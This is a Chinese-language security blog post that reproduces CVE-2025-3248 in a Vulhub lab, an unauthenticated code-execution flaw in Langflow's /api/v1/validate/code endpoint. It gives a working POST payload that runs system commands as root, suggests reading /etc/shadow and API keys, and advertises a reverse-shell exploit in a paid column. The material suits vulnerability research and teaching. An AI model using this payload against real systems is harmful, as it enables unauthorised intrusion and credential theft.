你天天用的AI工具,藏着无需登录的高危后门 CVE-2025-3248

漏洞利用演示视频

👉 你天天用的AI工具,藏着无需登录的高危后门 CVE-2025-3248


发生了什么?

你可能没听过Langflow,但它是现在AI圈特别火的一款工具------不用写代码,拖拽几个节点就能搭出一个AI工作流或者智能体,很多公司和个人开发者都在用,公网上一搜一大把暴露的实例。

但在1.3.0版本之前,这个工具藏了一个挺离谱的漏洞。它有个「帮你检查Python代码语法对不对」的功能,任何人不用登录、不用密码就能用。而这个「检查」的过程,实际上会真的运行你提交的代码。

相当于你家门上装了个访客留言板,本来是让访客留言的,结果留言板会把访客写的每一句话都当成给户主的命令照做------访客写一句「把保险柜打开」,保险柜就真的开了。

这个漏洞编号CVE-2025-3248,专业名叫「未授权远程代码执行漏洞」,CVSS危险评分9.8(满分10),属于最高危级别。

「未授权」这三个字是关键。什么意思呢?就是这个接口不需要登录、不需要密码、不需要任何凭证,只要你能访问到这个服务器的7860端口,你就能直接调用它。你不需要是Langflow的用户,不需要知道管理员账号,甚至不需要在浏览器里打开它的页面------用curl、用Python脚本、用Burp Suite,随便什么工具,发个POST请求就行。

这意味着什么?意味着如果一家公司把Langflow部署在公网上,版本又低于1.3.0,那么全世界任何人都能在他们的服务器上执行任意命令。读文件、删数据、种挖矿木马、当跳板机攻击内网------想干嘛干嘛。而且Langflow的Docker容器默认就是root权限运行,攻击者一上来就是最高权限,连提权都省了。

我在自己的靶场上复现了这个漏洞,一个POST请求发过去,直接拿到了root权限的命令执行:

看到响应里的 uid=0(root) 了吗?root权限,未授权,一个请求。就这么简单。

本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。


有多严重?------POC验证

先说说这个漏洞的原理,不用懂代码也能明白。

Langflow做了一个接口 /api/v1/validate/code,功能很单纯:用户发一段Python函数过来,帮你检查语法写得对不对。开发者当时想的是:我只是把你提交的函数定义加载一下,又不调用它,肯定不会有危险。

问题出在Python的一个特性上:定义一个函数的时候,函数的默认参数值会立刻被计算,而不是等调用函数的时候才算。

攻击者就利用了这个特性,提交一个看起来很正常的函数定义,但在默认参数里偷偷藏了执行系统命令的代码。系统刚拿到这段代码准备「检查语法」,默认参数里的恶意代码就已经跑起来了。全程不用调用函数、不用登录验证,请求发过去就执行。

直接上POC。向 /api/v1/validate/code 发送一个POST请求:

http 复制代码
POST /api/v1/validate/code HTTP/1.1
Host: {业务目标ip}:7860
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Content-Type: application/json

{"code": "def test(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')):\n    pass"}

这段payload看起来有点绕,我逐字段拆给你看:

  • def test(cd=...) ------ 定义一个叫test的函数,cd是默认参数。关键就在这里:Python定义函数时会立刻求值默认参数
  • exec('...') ------ 执行括号里的Python代码字符串。这是真正的触发器
  • raise Exception(...) ------ 抛出一个异常,异常信息就是括号里的内容。Langflow的接口会把异常详情返回在响应中,这就是我们的回显通道
  • __import__('subprocess') ------ 动态导入subprocess模块,比直接写import subprocess更稳妥
  • .check_output("id", shell=True) ------ 执行id命令并捕获输出

整段代码的执行流程是:Langflow用exec加载函数定义 → Python求值默认参数cd → 触发内层exec → 执行subprocess.check_output("id") → 把输出包进Exception抛出 → 异常信息出现在HTTP响应中。

发送之后,看响应体:

json 复制代码
{
  "imports": {"errors": []},
  "function": {"errors": ["b'uid=0(root) gid=0(root) groups=0(root)\\n'"]}
}

uid=0(root),命令执行成功,而且是root权限。Langflow的Docker容器默认就是root用户运行,这意味着一旦被攻破,攻击者直接拿到容器内的最高权限。

这里有个细节值得说一下:为什么要用raise Exception()把命令输出包起来?因为这个接口的设计是「校验代码语法」,正常情况下返回的是语法错误信息。我们故意让代码抛出一个异常,异常信息里带着命令执行的结果,接口就会把这个异常信息原样返回给我们------相当于借了接口的错误通道当回显管道。这个技巧在很多「无回显命令执行」的场景里都用得到,核心思路就是:既然正常通道不返回数据,那就借错误通道、借日志、借DNS请求,总能把数据带出来。

你也可以把id换成其他命令,比如whoami、cat /etc/passwd、uname -a、ls -la /,只要命令不太复杂、不含太多特殊字符,都能直接执行并回显。想象一下,攻击者可以直接读/etc/shadow拿密码哈希、读环境变量拿API密钥、看进程列表找其他服务的凭证------这些信息每一个都可能成为进一步入侵的跳板。

到这一步,漏洞验证就完成了。一个请求,未授权,root权限命令执行。就这么简单。


环境怎么搭?

直接用Vulhub启动,一行命令的事。Vulhub里这个漏洞的路径是 vulhub/langflow/CVE-2025-3248/。

bash 复制代码
cd vulhub/langflow/CVE-2025-3248/
docker compose up -d

启动后访问 http://{业务目标ip}:7860,看到Langflow的登录界面就说明靶场就绪了。

默认账号是 administrator:vulhub,可以登录进去体验一下Langflow的界面。但漏洞利用完全不需要登录------这也是这个漏洞最可怕的地方,登录页形同虚设。

需要注意的是,这个漏洞影响的是1.3.0之前的版本。Vulhub里的镜像是已经打好漏洞的版本,直接用就行。如果你是自己装的Langflow,先确认版本号,低于1.3.0的都存在风险。

另外,启动容器之后别急着发payload,先docker compose ps看一下容器状态是不是healthy,再用浏览器访问一下http://{业务目标ip}:7860确认页面能正常打开。有时候镜像拉取慢或者端口被占用,服务没起来就发请求,报一堆连接错误,还以为是payload写错了------这种低级错误我犯过不止一次,说出来都是泪。


真正的门槛在哪?

到这里,POC复现就完成了。你可能会觉得:这也太简单了,一个请求就root了,有什么难的?

确实,POC验证不难。但如果你以为这样就算「拿下服务器」了,那你就太天真了。

能执行id命令,跟拿到一个交互式的Shell、能在服务器上自由操作,完全是两码事。中间隔着的不是一条沟,是一座山。


如果你想走完这条路

我把从环境搭建到最终反弹Shell的完整过程------包括每一次试错、每一次失败的排查思路、最终绕过方案的原理拆解,以及一个开箱即用的探测脚本和利用脚本,连命令带截图一步不落------都整理在了专栏里。

本篇文章完整版详见 《【GetShell】Langflow API未授权远程代码执行漏洞(CVE-2025-3248)》👉点击直达

本篇文章视频演示:你天天用的AI工具,藏着无需登录的高危后门 CVE-2025-3248👉点击直达

专栏的名字叫 高危漏洞深度利用---零基础GetShell的全链路实战指南,👉点击直达。核心就是不止于POC复现,每篇文章必须走到拿下服务器。如果你不想自己从头踩一遍编码转义的坑,可以翻翻。

复现过程中有问题直接评论区留言,我看到了会回。


本文仅用于合法的安全研究和教育目的。请确保你测试的系统是你拥有合法授权的靶场环境。

相关推荐
Seraphina3614 小时前
DVWA(SQL注入-low,medium,XSS反射-low)
前端·数据库·笔记·sql·网络安全·web·xss
菩提小狗19 小时前
每日安全情报报告 · 2026-10-03
网络安全·漏洞·cve·安全情报·每日安全
愤怒火龙果20 小时前
AI攻防 外部资源加载利用
人工智能·网络安全
Eason_LYC1 天前
一个公开密钥放倒一片:Apache Shiro RememberMe 反序列化漏洞
java·网络安全·渗透测试·shiro·漏洞复现·反序列化·ai安全
剑胆凌锋1 天前
等级保护测评工程师的困境
网络·安全·web安全·网络安全·职场和发展
小小小小钰儿2 天前
2.3-云端API集成
人工智能·计算机·网络安全·操作系统·编程
白帽攻防录2 天前
SRC 挖洞:Dgraph GraphQL 数据库注入深度复盘,CVE-2026-41328 两个请求拖走全库数据
网络安全·graphql
小小小小钰儿2 天前
2.2-模型微调
人工智能·深度学习·机器学习·计算机·网络安全·操作系统·编程
在猴站学算法2 天前
(SQL注入学习)联合查询注入(UNION-Based)
sql·学习·网络安全
Seraphina362 天前
SQL注入(一)
数据库·经验分享·笔记·sql·网络安全